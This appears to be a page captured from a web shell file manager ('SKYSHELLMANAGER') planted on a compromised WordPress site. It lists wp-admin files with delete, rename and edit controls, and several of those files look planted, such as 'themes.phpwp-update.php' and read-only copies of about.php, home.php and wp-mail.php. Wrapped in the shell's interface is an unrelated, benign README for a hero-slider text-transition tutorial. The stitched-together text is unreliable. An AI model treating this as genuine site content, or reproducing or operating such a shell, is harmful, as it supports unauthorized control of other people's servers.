ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29

Path:root/var/www/html/wxwpsite/fungiftdeals/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admin-footer.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 async-upload.php	5.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	11.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 font-library.php	1.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-upload.php	3.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu-header.php	9.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 network.php	5.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 privacy.php	2.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 setup-config.php	17.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.phpwp-update.php	114.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-edit.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets-form-blocks.php	5.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: README.md

# hero-text-transitions

Hero sliders are some of the most interesting visual elements in website design. They give brands the ability to showcase unique visual elements. While a picture might be worth a thousand words, far fewer words are still needed on copy to bring those visual elements to life in the context of an organization's website.

Text on hero images are like butter on bread -- or the other way around depending on which one takes priority for your marketing strategy. And while the images often take center stage for hero banners, text and text effects can add a bit more to a seemingly static hero image (or sets of images).

Here's how to add fun, distinctive text transitions to your hero sliders:

## Tutorial		  
For detailed instruction's, view Solodev's [Add Text Transitions to Your Hero Sliders](https://www.solodev.com/blog/add-text-transitions-to-your-hero-sliders.stml) article.
 
## Demo
  		  
Try out a working example on [JSFiddle](https://jsfiddle.net/solodev/ugfud60z/).

## HTML

The tutorial contains the following basic HTML markup.

```

<section class="hero-slider">
    <div class="hero-slide slider_1">
      <div class="slider-overlay slider-1-overlay"></div>
      <div class="container">
      <div class="slide-content text-white text-white">
            <h2 class="h1 text-white">Create websites beyond your imagination</h2>
            <p class="hidden-xs">Evolve your web experiences and create stunning, feature-rich websites.</p>
            <a class=" text-white btn slide-btn" href="https://www.solodev.com/product/create.stml">Read the Story</a>
        </div>
      </div>
    </div>
    <div class="hero-slide slider_2">
      <div class="slider-overlay slider-2-overlay"></div>
      <div class="container">
      <div class="slide-content text-white">
            <h2 class="h1 text-white">Enterprise Hosting that's out of this world</h2>
            <p class="hidden-xs">Pilot your website on the only platform built for the AWS Cloud</p>
            <a class="btn slide-btn text-white" href="https://www.solodev.com/product/host.stml">Start for Free</a>
        </div>
      </div>
    </div>
    <div class="hero-slide slider_3">
      <div class="slider-overlay slider-3-overlay"></div>
      <div class="container">
      <div class="slide-content text-white">
            <h2 class="h1 text-white">Target and engage a universe of customers</h2>
            <p class="hidden-xs">Boldy go where no marketer has gone before with a powerful platform that integrates everything</p>
            <a class="btn slide-btn text-white" href="https://www.solodev.com/product/engage.stml">Start for Free</a>
        </div>
      </div>
    </div>
    <div class="hero-slide slider_4">
      <div class="slider-overlay slider-4-overlay"></div>
      <div class="container">
      <div class="slide-content text-white">
            <h2 class="h1 text-white">Web Support from launch to orbit</h2>
            <p class="hidden-xs">Solodev mission control is standing by at every stage with 24/7 U.S. based support.</p>
            <a class="btn slide-btn text-white" href="https://www.solodev.com/product/support.stml">Start for Free</a>
        </div>
      </div>
    </div>
  </section>

```

## CSS

All required CSS is contained with hero-text-transitions.css

## JS

All required CSS is contained with hero-text-transitions.js

## External Resources

This tutorial includes the following third party resources.

```
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" rel="stylesheet">Z
<link href="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.8.1/slick.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.8.1/slick.min.js"></script>
```

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.29

Edit: README.md

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29